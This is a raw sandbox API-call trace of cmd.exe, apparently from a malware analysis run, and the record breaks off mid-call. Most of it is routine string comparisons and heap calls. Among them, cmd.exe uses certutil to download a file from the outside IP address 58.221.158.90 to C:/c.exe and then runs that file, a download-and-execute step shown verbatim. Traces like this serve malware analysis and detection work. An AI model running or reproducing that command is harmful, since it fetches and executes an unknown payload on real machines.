_wcsicmp (_String1="certutil.exe", _String2="SHIFT") returned -16 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="CLS") returned -7 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="CALL") returned 4 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="VERIFY") returned -19 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="VER") returned -19 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="VOL") returned -19 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="EXIT") returned -2 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="SETLOCAL") returned -16 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="ENDLOCAL") returned -2 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="TITLE") returned -17 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="START") returned -16 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="DPATH") returned -1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="KEYS") returned -8 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="MOVE") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="PUSHD") returned -13 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="POPD") returned -13 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="ASSOC") returned 2 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="FTYPE") returned -3 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="BREAK") returned 1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="COLOR") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="MKLINK") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="DIR") returned -1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="ERASE") returned -2 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="DEL") returned -1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="TYPE") returned -17 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="COPY") returned -10 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="CD") returned 1 [0102.844] _wcsicmp (_String1="certutil.exe", _String2="CHDIR") returned -3 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="RENAME") returned -15 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="REN") returned -15 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="ECHO") returned -2 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="SET") returned -16 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="PAUSE") returned -13 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="DATE") returned -1 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="TIME") returned -17 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="PROMPT") returned -13 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="MD") returned -10 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="MKDIR") returned -10 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="RD") returned -15 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="RMDIR") returned -15 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="PATH") returned -13 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="GOTO") returned -4 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="SHIFT") returned -16 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="CLS") returned -7 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="CALL") returned 4 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="VERIFY") returned -19 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="VER") returned -19 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="VOL") returned -19 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="EXIT") returned -2 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="SETLOCAL") returned -16 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="ENDLOCAL") returned -2 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="TITLE") returned -17 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="START") returned -16 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="DPATH") returned -1 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="KEYS") returned -8 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="MOVE") returned -10 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="PUSHD") returned -13 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="POPD") returned -13 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="ASSOC") returned 2 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="FTYPE") returned -3 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="BREAK") returned 1 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="COLOR") returned -10 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="MKLINK") returned -10 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="FOR") returned -3 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="IF") returned -6 [0102.845] _wcsicmp (_String1="certutil.exe", _String2="REM") returned -15 [0102.846] GetProcessHeap () returned 0x3b0000 [0102.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x218) returned 0x3cbde0 [0102.846] GetProcessHeap () returned 0x3b0000 [0102.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb0) returned 0x3cc000 [0102.846] _wcsnicmp (_String1="cert", _String2="cmd ", _MaxCount=0x4) returned -8 [0102.846] GetProcessHeap () returned 0x3b0000 [0102.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x420) returned 0x3b1320 [0102.847] SetErrorMode (uMode=0x0) returned 0x1 [0102.847] SetErrorMode (uMode=0x1) returned 0x0 [0102.847] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3b1330, lpFilePart=0x1cee00 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1cee00*="system32") returned 0x13 [0102.847] SetErrorMode (uMode=0x1) returned 0x1 [0102.847] GetProcessHeap () returned 0x3b0000 [0102.847] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b1320, Size=0x52) returned 0x3b1320 [0102.847] GetProcessHeap () returned 0x3b0000 [0102.847] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b1320) returned 0x52 [0102.847] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.847] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.847] GetProcessHeap () returned 0x3b0000 [0102.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x104) returned 0x3cc0c0 [0102.847] GetProcessHeap () returned 0x3b0000 [0102.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1f8) returned 0x3b1390 [0102.852] GetProcessHeap () returned 0x3b0000 [0102.852] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b1390, Size=0x106) returned 0x3b1390 [0102.852] GetProcessHeap () returned 0x3b0000 [0102.852] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b1390) returned 0x106 [0102.852] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.852] GetProcessHeap () returned 0x3b0000 [0102.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe8) returned 0x3b14b0 [0102.852] GetProcessHeap () returned 0x3b0000 [0102.852] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3b14b0, Size=0x7e) returned 0x3b14b0 [0102.852] GetProcessHeap () returned 0x3b0000 [0102.852] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3b14b0) returned 0x7e [0102.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.854] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\certutil.exe", fInfoLevelId=0x1, lpFindFileData=0x1ceb70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb70) returned 0x3b1540 [0102.854] GetProcessHeap () returned 0x3b0000 [0102.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3c4650 [0102.854] FindClose (in: hFindFile=0x3b1540 | out: hFindFile=0x3b1540) returned 1 [0102.854] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0102.854] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0102.854] GetConsoleTitleW (in: lpConsoleTitle=0x1cf0c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.854] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cee78, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cee38 | out: lpAttributeList=0x1cee78, lpSize=0x1cee38) returned 1 [0102.854] UpdateProcThreadAttribute (in: lpAttributeList=0x1cee78, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cee28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cee78, lpPreviousValue=0x0) returned 1 [0102.854] GetStartupInfoW (in: lpStartupInfo=0x1cef90 | out: lpStartupInfo=0x1cef90*(cb=0x68, lpReserved="", lpDesktop="", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0102.854] GetProcessHeap () returned 0x3b0000 [0102.854] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x20) returned 0x3c4680 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.855] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0102.856] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0102.856] GetProcessHeap () returned 0x3b0000 [0102.856] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4680 | out: hHeap=0x3b0000) returned 1 [0102.856] GetProcessHeap () returned 0x3b0000 [0102.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3c89a0 [0102.856] lstrcmpW (lpString1="\\certutil.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.858] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\certutil.exe", lpCommandLine="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1ceeb0*(cb=0x70, lpReserved=0x0, lpDesktop="", lpTitle="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cee60 | out: lpCommandLine="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe", lpProcessInformation=0x1cee60*(hProcess=0x54, hThread=0x50, dwProcessId=0x12a4, dwThreadId=0x12a8)) returned 1 [0102.872] CloseHandle (hObject=0x50) returned 1 [0102.872] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0102.872] GetProcessHeap () returned 0x3b0000 [0102.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cacd0 | out: hHeap=0x3b0000) returned 1 [0102.873] GetEnvironmentStringsW () returned 0x3cacd0* [0102.873] GetProcessHeap () returned 0x3b0000 [0102.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xac4) returned 0x3c8b00 [0102.873] FreeEnvironmentStringsW (penv=0x3cacd0) returned 1 [0102.873] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0113.471] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1ceda8 | out: lpExitCode=0x1ceda8*=0x0) returned 1 [0113.471] CloseHandle (hObject=0x54) returned 1 [0113.471] _vsnwprintf (in: _Buffer=0x1cf018, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cedb8 | out: _Buffer="00000000") returned 8 [0113.471] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0113.471] GetProcessHeap () returned 0x3b0000 [0113.471] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8b00 | out: hHeap=0x3b0000) returned 1 [0113.471] GetEnvironmentStringsW () returned 0x3cc1d0* [0113.471] GetProcessHeap () returned 0x3b0000 [0113.471] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xaea) returned 0x3c8b00 [0113.471] FreeEnvironmentStringsW (penv=0x3cc1d0) returned 1 [0113.471] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0113.471] GetProcessHeap () returned 0x3b0000 [0113.471] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8b00 | out: hHeap=0x3b0000) returned 1 [0113.471] GetEnvironmentStringsW () returned 0x3cc1d0* [0113.471] GetProcessHeap () returned 0x3b0000 [0113.471] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xaea) returned 0x3c8b00 [0113.472] FreeEnvironmentStringsW (penv=0x3cc1d0) returned 1 [0113.472] GetProcessHeap () returned 0x3b0000 [0113.472] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c89a0 | out: hHeap=0x3b0000) returned 1 [0113.472] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cee78 | out: lpAttributeList=0x1cee78) [0113.472] GetConsoleTitleW (in: lpConsoleTitle=0x1cf570, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.472] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1cf100, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1cf0e0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1cf0e0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x218) returned 0x3b1830 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x22) returned 0x3c46b0 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x420) returned 0x3c9600 [0113.473] SetErrorMode (uMode=0x0) returned 0x1 [0113.473] SetErrorMode (uMode=0x1) returned 0x0 [0113.473] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x208, lpBuffer=0x3c9610, lpFilePart=0x1cee00 | out: lpBuffer="C:\\", lpFilePart=0x1cee00*=0x0) returned 0x3 [0113.473] SetErrorMode (uMode=0x1) returned 0x1 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c9600, Size=0x22) returned 0x3c9600 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c9600) returned 0x22 [0113.473] NeedCurrentDirectoryForExePathW (ExeName="C:\\.") returned 1 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1c) returned 0x3c46e0 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x24) returned 0x3c9670 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c9670, Size=0x1c) returned 0x3c96a0 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c96a0) returned 0x1c [0113.473] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xe8) returned 0x3c5c00 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c5c00, Size=0x7e) returned 0x3c5c00 [0113.473] GetProcessHeap () returned 0x3b0000 [0113.473] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c00) returned 0x7e [0113.474] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.474] FindFirstFileExW (in: lpFileName="C:\\c.exe", fInfoLevelId=0x1, lpFindFileData=0x1ceb70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceb70) returned 0x3c5c90 [0113.474] GetProcessHeap () returned 0x3b0000 [0113.474] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4650, Size=0x8) returned 0x3c89a0 [0113.474] FindClose (in: hFindFile=0x3c5c90 | out: hFindFile=0x3c5c90) returned 1 [0113.474] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0113.474] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0113.474] GetConsoleTitleW (in: lpConsoleTitle=0x1cf0c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0113.474] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cee78, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cee38 | out: lpAttributeList=0x1cee78, lpSize=0x1cee38) returned 1 [0113.474] UpdateProcThreadAttribute (in: lpAttributeList=0x1cee78, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cee28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cee78, lpPreviousValue=0x0) returned 1 [0113.474] GetStartupInfoW (in: lpStartupInfo=0x1cef90 | out: lpStartupInfo=0x1cef90*(cb=0x68, lpReserved="", lpDesktop="", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0113.474] GetProcessHeap () returned 0x3b0000 [0113.474] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x20) returned 0x3c4650 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.474] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0113.475] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0113.475] GetProcessHeap () returned 0x3b0000 [0113.475] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4650 | out: hHeap=0x3b0000) returned 1 [0113.475] GetProcessHeap () returned 0x3b0000 [0113.475] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x12) returned 0x3c5c90 [0113.475] lstrcmpW (lpString1="\\c.exe", lpString2="\\XCOPY.EXE") returned -1 [0113.476] CreateProcessW (in: lpApplicationName="C:\\c.exe", lpCommandLine="C:\\c.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1ceeb0*(cb=0x70, lpReserved=0x0, lpDesktop="", lpTitle="C:\\c.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cee60 | out: lpCommandLine="C:\\c.exe", lpProcessInformation=0x1cee60*(hProcess=0x50, hThread=0x54, dwProcessId=0xa08, dwThreadId=0x9e8)) returned 1 [0113.482] CloseHandle (hObject=0x54) returned 1 [0113.482] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0113.482] GetProcessHeap () returned 0x3b0000 [0113.482] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8b00 | out: hHeap=0x3b0000) returned 1 [0113.482] GetEnvironmentStringsW () returned 0x3c8b00* [0113.482] GetProcessHeap () returned 0x3b0000 [0113.482] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, 